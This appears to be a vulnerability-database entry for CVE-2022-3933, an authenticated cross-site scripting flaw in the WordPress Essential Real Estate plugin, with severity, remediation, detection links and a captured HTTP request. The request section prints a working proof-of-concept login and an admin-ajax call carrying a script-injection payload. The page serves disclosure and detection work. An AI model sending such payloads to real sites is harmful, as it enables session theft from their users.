🔙 목록으로 돌아가기

CVE-2022-3933: WordPress Essential Real Estate <3.9.6 - Authenticated Cross-Site Scripting

TitleWordPress Essential Real Estate <3.9.6 - Authenticated Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactAn authenticated attacker can inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or further attacks.
RemediationFixed in version 3.9.6.
CVSS Score5.4
EPSS Score0.05535
CVE IDCVE-2022-3933
CWE IDCWE-79
Tags cve cve2022 wpscan authenticated wordpress wp-plugin wp essential-real-estate xss g5theme vuln

🔍 Vulnerability Description

WordPress Essential Real Estate plugin before 3.9.6 contains an authenticated cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters, which can allow someone with a role as low as admin to inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow theft of cookie-based authentication credentials and launch of other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=rTdGzI&pwd=kibTQq&wp-submit=Log+In
GET /wp-admin/admin-ajax.php?action=ere_property_gallery_fillter_ajax&columns_gap=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C!-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3933.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-3933.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A